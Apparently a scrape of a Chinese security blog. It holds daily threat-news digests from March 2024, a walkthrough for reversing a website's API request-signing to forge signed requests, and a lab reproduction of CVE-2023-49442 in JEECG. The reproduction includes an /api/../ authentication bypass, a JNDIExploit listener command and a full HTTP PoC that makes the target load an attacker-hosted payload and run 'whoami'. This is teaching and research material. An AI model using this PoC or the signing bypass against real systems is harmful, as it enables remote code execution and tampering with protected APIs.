p.interactive()
[5] 结语
本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell
但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。
网络安全日报 2024年03月15日
1、黑客通过SVG图像文件隐藏键盘记录器和RAT恶意软件
https://dd80b675424c132b90b3-e48385e382d2e5d17821a5e1d8e4c86b.ssl.cf1.rackcdn.com/external/strategic-analysis-svg-files-abused-in-emerging-campaigns-1.pdf 研究人员发现,威胁行为者正在将恶意软件隐藏于SVG图像文件中,从而绕过检测,传递勒索软件、下载银行特洛伊木马,并分发恶意软件。研究人员在1月份观察到一个为期两个月的运动,该运动利用SVG文件传递Agent Tesla键盘记录器和XWorm远程控制木马(RAT)恶意软件。在2023年12月
2、宏碁菲律宾公司第三方供应商遭黑客攻击数据泄露
https://securityaffairs.com/160432/data-breach/acer-philippines-data-breach.html 宏碁菲律宾分公司在其员工数据在一个黑客论坛上被威胁行为者泄露后,确认了一起数据泄露事件。这起针对其一个第三方服务提供商的攻击导致员工数据泄露。被黑的第三方公司管理着宏碁员工的考勤数据。使用化名ph1ns的威胁行为者在一个黑客论坛上泄露了被窃取的数据,并声称这些数据来自宏碁公司的人力资源部门。ph1ns在论坛上发布了一个含有被盗数据的数据库的链接。宏碁被黑客攻击,但威胁行为者并未部署任何勒索软件。他们还强调,并未对公司进行敲诈,然而,
3、日产通知10万人数据在网络攻击中被盗
https://www.nissan.com.au/website-update.html 在2023年12月对其系统的攻击中,日产大洋洲将在未来几周内联系澳大利亚和新西兰约10万名数据被盗的人士。可能是Akira勒索软件团伙实施了这次网络攻击。网络犯罪分子从受害者中盗走了政府身份认证的某种形式,高达十分之一的受害者受到影响。从这家汽车制造商处窃取的数据包括4000张澳大利亚国家医疗保险计划的Medicare卡信息,以及7500张驾驶执照、220本护照和1300个税务文件号码。其余90%的人的其他信息被盗——可能是贷款相关交易声明的副本、就业细节或薪资信息。这次盗窃也可能包括如出生日期等个人
4、PixPirate木马利用新策略针对巴西用户
https://securityintelligence.com/posts/pixpirate-brazilian-financial-malware/ 根据研究人员的技术报告,一个名为PixPirate的安卓银行木马正通过一种新的策略来避免在被感染设备上被检测到,并从巴西用户那里窃取敏感信息。该策略能够将恶意应用的图标从受害者设备的主屏幕上隐藏,使得在PixPirate侦察和攻击阶段,受害者对这款恶意软件在后台执行的操作毫无察觉。PixPirate通常通过短信和WhatsApp传播,攻击流程涉及到使用一个下载器应用,其被设计用以部署主负载(又称“下落物”)来实施财务诈骗。在最新版本的下落
5、思科修补高严重性 IOS RX 漏洞
https://www.securityweek.com/cisco-patches-high-severity-ios-rx-vulnerabilities/ 思科针对 IOS RX 软件中的高严重性拒绝服务和特权提升漏洞发布了补丁。
6、Chrome标准安全浏览保护现可以提供实时恶意站点检测
https://www.securityweek.com/chromes-standard-safe-browsing-now-has-real-time-url-protection/ Chrome 的标准安全浏览保护现在提供实时恶意站点检测,iOS 上的密码检查现在可以标记弱密码。
7、最近的DarkGate 活动利用了Windows 零日漏洞
https://securityaffairs.com/160457/malware/recent-darkgate-campaign-exploited-microsoft-zero-day.html 零日计划 (ZDI) 的研究人员最近在 2024 年 1 月中旬发现了一次DarkGate活动,该活动使用虚假软件安装程序利用了 Windows 零日漏洞CVE-2024-21412。
8、法国失业机构数据泄露影响 4300 万人
https://www.bleepingcomputer.com/news/security/french-unemployment-agency-data-breach-impacts-43-million-people/ 被盗数据包括敏感的个人详细信息,如全名、出生日期、社会安全号码和联系信息,构成身份盗窃和网络钓鱼的重大风险。
9、Kubernetes RCE 漏洞允许完全接管 Windows 节点
https://www.darkreading.com/cloud-security/patch-now-kubernetes-flaw-allows-for-full-takeover-of-windows-nodes 该漏洞影响运行本地部署和 Azure Kubernetes 服务的 1.28.4 版本之前的 Kubernetes 的默认安装。
10、新型GhostRace攻击可窃取Intel、AMD等CPU数据
https://www.freebuf.com/articles/394821.html 英特尔、AMD、Arm和IBM等CPU制造商以及软件供应商,受到一种名为GhostRace的新型推测性竞态条件(SRC)攻击的影响。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月14日
1、FakeUpdates恶意软件活动以WordPress为目标
https://blog.checkpoint.com/research/february-2024s-most-wanted-malware-wordpress-websites-targeted-by-fresh-fakeupdates-campaign/ 全球数百万使用WordPress内容管理系统的网站正面临被恶意软件攻击的风险。根据研究人员于2024年2月发布的全球威胁指数报告,揭露了名为FakeUpdates或SocGholish的恶意软件活动,此活动通过黑客攻击管理员账户来侵入WordPress站点。该恶意软件使用了修改过的合法WordPress插件等手段,以欺骗用户下载远程访
2、新型Vcurms恶意软件瞄准流行浏览器窃取数据
https://www.fortinet.com/blog/threat-research/vcurms-a-simple-and-functional-weapon 研究人员近日发现了名为Vcurms的新型恶意软件,该软件通过利用云服务攻击受欢迎的浏览器和应用程序进行登录信息和数据盗窃。Vcurms通过电子邮件作为指挥控制中心,并采用AWS和GitHub等公共服务来存储恶意软件,同时还使用商业防护软件来规避侦测,显示出攻击者最大程度发挥恶意软件影响力的有组织努力。该恶意软件主要针对安装有Java的平台,对所有使用这些系统的组织构成威胁。一旦成功入侵,攻击者即可完全控制受损系统。攻击手段和技
3、BIPClip攻击活动利用Python包索引窃取加密钱包
https://www.reversinglabs.com/blog/bipclip-malicious-pypi-packages-target-crypto-wallet-recovery-passwords 研究人员在Python包索引(PyPI)库中发现了一组旨在窃取用于恢复加密货币钱包私钥的BIP39助记词短语的七个软件包,这一软件供应链攻击活动被研究人员命名为BIPClip。这些软件包在被从PyPI中删除之前总共被下载了7451次。这些软件包针对的是从事生成和保护加密货币钱包相关项目的开发人员,并且自2022年12月4日首次发布以来就一直活跃。研究人员的报告中指出:“这只是利用软
4、微软3月更新修复61个安全漏洞包含关键Hyper-V漏洞
https://msrc.microsoft.com/update-guide/releaseNote/2024-Mar 微软于周二发布了月度安全更新,解决了其软件中的61个不同安全缺陷,包括两个影响Windows Hyper-V的关键问题,这可能导致拒绝服务(DoS)和远程代码执行。在这61个漏洞中,两个被评为关键级别,58个被评为重要级别,一个被评为低危险级别。发布时,这些漏洞中没有一个被公开披露或处于活跃攻击状态,但有六个被评估为“更有可能被利用”。这些修复是对自2024年2月补丁周二更新以来,该公司基于Chromium的Edge浏览器已经修补的17个安全漏洞的补充。关键漏洞列表的首位
5、2023年GitHub平台泄露超1200万份认证秘钥
https://www.gitguardian.com/state-of-secrets-sprawl-report-2024 GitHub用户在2023年意外公开了超过320万个公共仓库中的约1280万个认证和敏感秘钥,大多数在五天后仍然有效。所泄露的秘钥包括账户密码、API密钥、TLS/SSL证书、加密密钥、云服务凭据、OAuth令牌等敏感数据,这些数据的泄露可能会让外部人员无限制地访问各种私有资源和服务,导致数据泄露和财务损失。根据Sophos2023年的报告显示,在年初半年度记录的所有攻击中,50%源于凭证泄露,其次是漏洞利用造成的攻击方式占23%。自2020年以来,GitGuard
6、芯片制造商周二补丁:英特尔、AMD 解决新的微架构漏洞
https://www.securityweek.com/chipmaker-patch-tuesday-intel-amd-address-new-microarchitectural-vulnerabilities/ 英特尔和 AMD 在周二补丁日发布了 10 条新的安全公告,告知客户影响其产品的漏洞。
7、ChatGPT 插件漏洞可导致暴露数据、账户接管
https://www.securityweek.com/chatgpt-plugin-vulnerabilities-exposed-data-accounts/ API 安全公司 Salt Security 对 ChatGPT 插件进行了分析,发现了多种类型的漏洞,这些漏洞可能被利用来获取潜在的敏感数据并接管第三方网站上的帐户。
8、Fortinet 修补了导致代码执行的关键漏洞
https://www.securityweek.com/fortinet-patches-critical-vulnerabilities-leading-to-code-execution/ Fortinet 已针对 FortiOS、FortiProxy 和 FortiClientEMS 中的关键代码执行漏洞发布了补丁。
9、Tor 的新 WebTunnel 桥模仿 HTTPS 流量来规避审查
https://www.bleepingcomputer.com/news/security/tors-new-webtunnel-bridges-mimic-https-traffic-to-evade-censorship/ 虽然一些国家/地区已经找到了检测和阻止传统 Tor 连接的方法,但 Tor 项目开发了 WebTunnel,通过将流量与 HTTPS 加密的网络流量混合,使审查者更难阻止连接。
10、印度一金融公司泄露用户信息,数据量超过3TB
https://www.freebuf.com/news/394649.html 近日,印度一家非银行性质地金融公司 IKF Finance 泄漏了超过 3 TB 的敏感客户和员工数据,可能暴露了其整个用户群体。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
[实战]API防护破解之签名验签
前言:
传统的接口在传输的过程中,是非常容易被抓包进行篡改,从而进行中间人攻击。
这时候我们可以通过对参数进行签名验证,如果参数与签名值不匹配,则请求不通过,直接返回错误信息,从而防止黑客攻击或者大大增加了黑客攻击的成本。
白帽子在挖洞的时候也经常会遇到这种情况,大多数不会逆向的白帽子则会放弃这些有着攻击成本的接口。大多数也会有这样子的想法,这些个接口都加了防护了,说明厂商对这个接口挺重视的,肯定做了安全检测,自然是不可能有洞可捡了。反过来想,厂商正是因为加了防护从而对代码疏忽了,所以这些地方恰好就是挖逻辑漏洞的突破口。
平台:aHR0cHM6Ly93d3cudnVsYm94LmNvbS8=
厂商:某企业src
正文:
开局一个搜索框
输入值抓包,接口携带了一个sign参数。
技巧
此处有两种方法逆向找出对应的加密点
第一种是笨方法,直接搜索对应的sign值去找到其加密的关键位置。
第二种是找到发包的地方,一直跟栈到明文加密的地方。
搜索sign,网站里面出现了很多sign关键词,不利于我们进行逆向分析
从查看请求发起的相关进程(脚本)去进行发包跟栈
进入发包的地方打断点。
回溯跟栈,找找有没有比较显眼的关键词。
大概跟了几个栈找到了sign关键词,但是并不确定这个地方的sign参数是不是我们发包的那个sign参数,打下断点盲测一下。
再次发包的时候,断点断住了。这个sign参数是一个f对象的一个函数,并不是一个sign参数值。而我们想要找到的是sign参数值,经过猜测,这个断点能够在携带sign参数的那个发包时断住,就肯定与sign参数有关。直接进入函数内部查看。
映入眼帘的是一个f函数,将断点断到返回值的地方,查看一下返回值是什么呢。
在控制台打印一下返回值。很眼熟,很像我们发包的时候携带的参数
分析一下f函数,看看sign参数在哪里生成的。
sign是在5790行被赋值的。
可以看出sign参数是appSignKey,keyword,noncestr,serverTimestamp,source,timestamp拼接之后传进了s函数生成的。除了appSignKey是代码生成的,其余都是发包里面携带的明文。
appSignKey参数
从f函数里面代码可以分析出,appSignKey是由n赋值的,n又是由c经过一段三元表达式生成的。c是一段字符串,直接上手扣代码。
生成n的三元表达式用到了arguments,直接到浏览器复制arguments
var c = "10f6cf80184377cd5487b4746a8a67da17540449fa40b408f13ccdd3d3059cb394c0e1569043eed2"
arguments = {
"0": {
"keyword": "A型胸腺瘤",
"source": 1,
"serverTimestamp": 1706072080923
},
"1": "4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3"
}
var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : c
console.log("appSignKey--->"+n)ole.log(n)
sign参数
有了appSignKey参数,就可以与发包参数拼接传进s函数。
appSignKey=4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3&keyword=A型胸腺瘤&noncestr=20565646&serverTimestamp=1706072080923&source=1×tamp=1706081268690
看一眼就知道是md5加密,完结撒花。
结尾:
部分数据代码已做脱敏处理。
网络安全日报 2024年03月13日
1、黑客利用Dropbox发送钓鱼邮件植入恶意软件
https://darktrace.com/blog/legitimate-services-malicious-intentions-getting-the-drop-on-phishing-attacks-abusing-dropbox 研究人员最近观察到,攻击者在针对一名客户的钓鱼攻击中恶意利用了Dropbox。在一月份,攻击者通过发送包含恶意链接的钓鱼邮件,来自合法的Dropbox地址,进而威胁到了该客户的软件即服务(SaaS)环境。虽然邮件来源和Dropbox链接看似合法,但研究人员发现一个红旗信号:PDF文件中含有一个指向“mmv-security[.]top”域的链接,而这个域
2、BianLian组织利用TeamCity漏洞发动勒索软件攻击
https://www.guidepointsecurity.com/blog/bianlian-gos-for-powershell-after-teamcity-exploitation/ BianLian勒索软件团伙最近被发现在攻击中利用了JetBrains TeamCity软件的多个漏洞。研究人员在调查一起与BianLian勒索软件团伙有关的攻击时发现,攻击者通过利用TeamCity服务器中的漏洞(CVE-2024-27198或CVE-2023-42793)获取了对目标环境的初始访问权。自2022年8月份BianLian勒索软件出现以来,该恶意软件已被用于针对制造业、媒体和娱乐业以及
3、EquiLend警告员工数据在勒索软件攻击中被盗
https://www.mass.gov/doc/assigned-data-breach-number-2024-459-equilend-holdings-llc/download 纽约证券借贷平台EquiLend Holdings在给员工发送的数据泄露通知信中确认,他们的数据在一月份的勒索软件攻击中被盗。为了控制这次安全漏洞,该公司不得不在1月22日将部分系统离线。虽然EquiLend没有立即透露事件的性质,但LockBit勒索软件在接受彭博社采访时声称对此次攻击负责。尽管这家金融技术公司并没有证实LockBit的说法,但它在2月2日通过一个专门用于分享有关次事件更多信息的页面透露,一
4、Earth Kapre黑客使用武器化ISO和IMG文件攻击组织
https://www.anquanke.com/post/id/293815 臭名昭著的黑客组织 Earth Kapre(也称为 RedCurl 和 Red Wolf)一直利用武器化的ISO 和 IMG 文件瞄准全球各地的组织。
5、微软2024年 3月星期二安全更新修复了 59 个漏洞
https://securityaffairs.com/160412/security/microsoft-patch-tuesday-march-2024.html Microsoft 2024 年 3 月的星期二补丁安全更新解决了其产品中的 59 个安全漏洞,其中包括 RCE 漏洞。
6、一名韩国公民因网络间谍罪在俄罗斯被拘留
https://thehackernews.com/2024/03/south-korean-citizen-detained-in-russia.html 俄罗斯首次以网络间谍罪名拘留一名韩国公民,并将其从符拉迪沃斯托克转移至莫斯科接受进一步调查。
7、在野外观察到针对企业的新 DoNex 勒索软件
https://cyware.com/cyber-security-news-articles DoNex 勒索软件正积极针对美国和欧洲的公司,采用双重勒索方法来劫持文件和敏感数据。
8、Tuta Mail 添加新的抗量子加密技术来保护电子邮件
https://www.bleepingcomputer.com/news/security/tuta-mail-adds-new-quantum-resistant-encryption-to-protect-email/ Tuta Mail 推出了 TutaCrypt,这是一种新的后量子加密协议,可保护通信免受预期的解密攻击,从而针对未来的威胁提供强有力的保护。
9、黑客IntelBroker宣称攻破美国联邦承包商Acuity系统
https://www.hackread.com/hacker-breach-federal-contractor-acuity-ice-uscis-data/ 这次安全漏洞导致两个美国政府重要机构——美国移民和海关执法局(ICE)和美国公民及移民服务局(USCIS)的敏感数据和文件被盗。
10、新的 xStealer 恶意软件首次亮相,具有高级功能
https://www.anquanke.com/post/id/293757 该恶意软件背后的开发人员承诺不断更新,确保其保持最新、最先进的窃取技术。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月12日
1、黑客冒充美国政府机构进行BEC攻击
https://www.proofpoint.com/us/blog/threat-insight/ta4903-actor-spoofs-us-government-small-businesses-phishing-bec-bids 近日,一伙专门从事商业电子邮件妥协(BEC)攻击的黑客团伙,代号为TA4903,被发现冒充各种美国政府实体,以诱使目标打开含有虚假招标过程链接的恶意文件。这些攻击活动旨在诱骗受害者点击链接,进而窃取其凭证信息。TA4903团伙此前已被观察到使用类似的攻击策略,他们通过发送大量伪装成来自美国政府部门和私营企业的电子邮件,试图盗取受害者的企业凭证。这些攻击行为表
2、Progress软件OpenEdge漏洞可绕过认证
https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive/ 近日,Progress Software OpenEdge的重大安全漏洞被曝光,并且相关技术细节和概念验证(PoC)漏洞利用代码已公开。该漏洞标识为CVE-2024-1403,CVSS评分系统中的严重程度为最高等级10.0。受影响的OpenEdge版本包括11.7.18及更早版本、12.2.13及更早版本以及12.8.0版本。该漏洞出现在开启了OS本地身份验证提供者的OpenEdge
3、思科针对SecureClient中的高危VPN劫持漏洞发布补丁
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-secure-client-crlf-W43V4G7 思科已为其Secure Client软件中的一个高危安全漏洞发布了补丁,该漏洞可能被恶意攻击者利用以开启与目标用户的VPN会话。这一漏洞被追踪为CVE-2024-20337,具有8.2的CVSS评分,它允许未经身份验证的远程攻击者对用户进行回车换行(CRLF)注入攻击。由于对用户提供的输入校验不足,攻击者可能利用此漏洞诱使用户在建立VPN会话时点击一个特制的链接。如果
4、Fortinet严重缺陷可能影响150000个公网设备
https://www.bleepingcomputer.com/news/security/critical-fortinet-flaw-may-impact-150-000-exposed-devices/ 网络上的扫描显示,大约150000台Fortinet的FortiOS和FortiProxy安全网关系统易受CVE-2024-21762严重安全漏洞的威胁,该漏洞允许未经认证执行代码。上月,美国网络防御机构CISA确认,攻击者正积极利用该漏洞,并将其添加到已知被利用漏洞(KEV)目录中。几乎在Fortinet解决CVE-2024-21762漏洞一个月后,研究人员宣布,他们发现了近15万
5、QNAP警告其NAS设备存在严重身份验证绕过漏洞
https://www.qnap.com/en/security-advisory/qsa-24-09 QNAP近日警告其NAS软件产品中的漏洞,包括QTS、QuTS hero、QuTScloud 和 myQNAPcloud,这些漏洞可能允许攻击者访问设备。网络附加存储(NAS)设备制造商披露了三个可以导致认证绕过、命令注入和SQL注入的漏洞。虽然后两个漏洞要求攻击者在目标系统上通过认证,显著降低了风险,但第一个(CVE-2024-21899)可以在不需要认证的情况下远程执行,并被标记为“低复杂度”。
6、黑客声称入侵美国联邦承包商Acuity并出售数据
https://www.hackread.com/hacker-breach-federal-contractor-acuity-ice-uscis-data/ 黑客IntelBroker声称已经入侵了美国联邦承包商Acuity,并且正在出售属于美国移民和海关执法局(ICE)及美国公民及移民服务局(USCIS)的数据。据报道,黑客IntelBroker在黑客论坛上发帖,声明他负责最近一起针对位于弗吉尼亚州雷斯顿的联邦承包商Acuity Inc.的数据泄露。泄露导致来自两个著名美国政府实体的敏感数据和文件被盗。目前这些被盗数据正在该论坛上以3000美元的门罗币(XMR)价格出售。在黑客论坛上宣
7、WordPress站点遭受分布式暴力破解攻击
https://blog.sucuri.net/2024/03/from-web3-drainer-to-distributed-wordpress-brute-force-attack.html 研究人员的新发现显示,威胁行为者正在利用恶意JavaScript注入对WordPress网站进行暴力破解攻击。该活动是先前记录的攻击浪潮的一部分,其中受感染的WordPress网站被用来直接注入AngelDrainer等加密货币排水器,或将网站访问者重定向到包含排水器恶意软件的Web3网络钓鱼网站。最新的迭代值得注意的是,迄今为止在700多个网站上发现的注入不会加载排水器,而是使用常见和泄露的密码
8、思科:超15国多行业遭GhostLocker双重勒索攻击
https://www.secrss.com/articles/64243 技术、教育、制造、政府、交通、能源、法医、房地产和电信等一些行业遭受了严重影响。
9、Midjourney封禁Stability AI:恶意爬取数据致服务器瘫痪24小时
https://www.secrss.com/articles/64218 Midjourney 把 Stability AI 拉入黑名单了,禁止后者所有员工使用其软件,直至另行通知。
10、法国政府机构遭受大规模网络攻击
https://securityaffairs.com/160374/hacking/massive-cyberattacks-hit-french-government-agencies.html 法国总理加布里埃尔·阿塔尔办公室 3 月 11 日星期一表示,“法国多个国家机构遭受了‘前所未有的强度’的网络攻击,同时坚称政府已经能够控制影响。” 法国《世界报》报道。阿塔尔办公室表示,从周日开始,“许多部长级服务都受到了攻击,使用了熟悉的技术手段,但强度空前”,但没有提供目标的进一步细节。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
CVE-2023-49442 利用分析
1. 漏洞介绍
JEECG(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为:https://gitee.com/jeecg/jeecg
2. 漏洞流程图分析
3. 环境搭建
由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven环境搭建,我的本地配置如下:
官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933
最新版eclipse
apache-maven-3.1.1-bin
JDK1.8_102(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run的命令)
Mysql5.7
Kali虚拟机(充当vps的功能)
4. 漏洞详情分析
由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。
感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。
现在我们已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。
在审计Fastjson漏洞的时候我们着重关注parseObject和parse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找:
发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)。
然后继续寻找在哪里调用了这两个函数:
同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数:
/**
* 常用示例Demo:接口测试
* @param request
* @param response
* @return AjaxJson
*/
@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
AjaxJson j=new AjaxJson();
try {
String serverUrl = request.getParameter("serverUrl");//请求的地址
String requestBody = request.getParameter("requestBody");//请求的参数
String requestMethod = request.getParameter("requestMethod");//请求的方式
if(requestMethod.equals("POST")){
if(requestBody !=""){
logger.info("----请求接口开始-----");
JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendPost);
j.setSuccess(true);
j.setObj(sendPost.toJSONString());
}else{
j.setSuccess(false);
j.setObj("请填写请求参数");
}
}
if(requestMethod.equals("GET")){
logger.info("----请求接口开始-----");
JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendGet.toJSONString());
j.setSuccess(true);
j.setObj(sendGet);
}
} catch (Exception e) {
j.setSuccess(false);
j.setObj("服务器请求失败");
e.printStackTrace();
}
return j;
}
这段代码接受三个参数:serverUrl、requestBody、requestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost 或 HttpRequest.sendGet。
我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass:
然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
也就是说对于以 /api/ 开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。
加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false,这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass
比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。
然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我们的Kali虚拟机(vps作用)上开启监听:
这里因为我的虚拟机上的java版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131
然后用python公开一个poc.txt
然后直接调用该接口使用下面的Poc即可:
POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami
serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET
5. 总结
一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug问题,通过本漏洞的复现学习,对fastjson漏洞和alwaysUseFullPath绕过鉴权漏洞有了更多的体会。
网络安全日报 2024年03月11日
1、Play勒索软件组泄露瑞士政府机密数据
https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2024/bericht-datenanalyse-xplain.html 瑞士IT服务提供商Xplain于2023年6月遭受了Play勒索软件团伙的网络攻击。攻击者通过利用漏洞锁定Xplain为州服务托管的服务器,要求支付赎金以换取解锁工具。波及影响包括联邦警察局、联邦海关和边境保护办公室、瑞士联邦铁路和阿尔高州政府。此外,6月瑞士联邦政府网站及瑞士联邦铁路在线门户也遭遇了DDoS攻击,数个网站因此不可访问,负责攻击的是自称为亲俄团体“NoName”。Play勒索软件团伙在其暗网
2、嵌入式PLC恶意软件威胁扩展至工控系统
https://www.ndss-symposium.org/wp-content/uploads/2024-49-paper.pdf 研究人员发表的一篇论文中指出,嵌入到工业固件中的Web服务器可能为黑客提供了一个攻击的新途径。这些Web服务器被嵌入到以往依赖串行通信协议的可编程逻辑控制器(PLC)中,是目前占据全球市场80%份额的每一家大型PLC供应商的产品。这种嵌入Web服务的便利性深刻而不可逆转地改变了工业控制系统(ICS)生态系统。攻击者可以利用嵌入式Web PLC恶意软件来伪造传感器读数、禁用安全警报、操作物理执行器,甚至造成人员伤亡等灾难性事件。传统的PLC恶意软件受固有硬件约
3、新APT组织Lotus Bane攻击越南金融机构
https://www.group-ib.com/media-center/press-releases/hi-tech-crime-trends-2023-2024/ 最近,越南金融机构遭受了一个名为Lotus Bane的新型先进持续性威胁(APT)组织的攻击。这一攻击行动于2023年3月首次被检测到,据研究人员分析,该黑客组织自2022年起即活跃于网络空间。虽然感染链的具体细节暂时未知,但攻击中使用了多种恶意工具作为后续行动的基础。研究人员表示,Lotus Bane所使用的技巧与一个名为OceanLotus(又称APT32、Canvas Cyclone、Cobalt Kitty)的与越南
4、JetBrains TeamCity漏洞遭积极利用致威胁增加
https://cyble.com/blog/jetbrains-teamcity-authentication-bypass-vulnerability-under-active-exploitation/ 根据研究人员的监测,自2024年3月5日起,JetBrains TeamCity的身份验证绕过漏洞(CVE-2024-27198和CVE-2024-27199)正遭到积极的利用。这些漏洞适用于所有2023年11月4日之前版本的TeamCity On-Premises。研究人员团队曝光了涉及漏洞的初步利用代码。受影响的路径包括但不限于/res/、/update/和/.well-known
5、俄罗斯黑客成功获取微软源代码
https://msrc.microsoft.com/blog/2024/03/update-on-microsoft-actions-following-attack-by-nation-state-actor-midnight-blizzard/ 近日,微软在其安全博客及向证券交易委员会提交的报告中宣布了一个关于网络安全的严重发现:俄罗斯黑客组织Cozy Bear(微软称之为Midnight Blizzard)不仅在去年11月通过密码喷射攻击侵入了一个非生产测试租户账号,而且在随后的行动中成功访问了公司的一些内部系统及源代码库。在这个持续的安全冲突中,微软正与这些攻击者斗争,试图将他们从
6、CISA因Ivanti安全漏洞紧急下线两系统
https://therecord.media/cisa-takes-two-systems-offline-following-ivanti-compromise 二月份,据美国网络安全与基础设施安全局(CISA)披露,黑客通过利用Ivanti产品漏洞成功侵入了其系统。CISA发现Ivanti产品中的安全漏洞被利用后,迅速采取措施下线了两个系统。CISA拒绝透露有关事件详细信息,但消息来源指出,被妥协的系统包括存储关键美国基础设施互依信息的基础设施保护门户和存放私营领域化学安全计划的化学安全评估工具。尽管没有证实这些系统是否已被下线,CISA建议各组织紧急查看其发布的有关警告,并采取高度警
7、MiTM攻击可让攻击者解锁并窃取特斯拉汽车
https://www.bleepingcomputer.com/news/security/mitm-phishing-attack-can-let-attackers-unlock-and-steal-a-tesla/ 研究人员演示了如何进行中间人(MiTM)网络钓鱼攻击,以危害Tesla帐户、解锁汽车并启动汽车。该攻击适用于最新的Tesla应用程序版本4.30.6和Tesla软件版本11.12024.2.7。作为此次攻击的一部分,研究人员注册了一个新的“电话密钥”,可用于访问Tesla。虽然研究人员使用FlipperZero执行这种网络钓鱼攻击,但也可以使用其他设备轻松完成,例如计算机
8、AnyCubic使用新固件修复了3D打印机零日漏洞
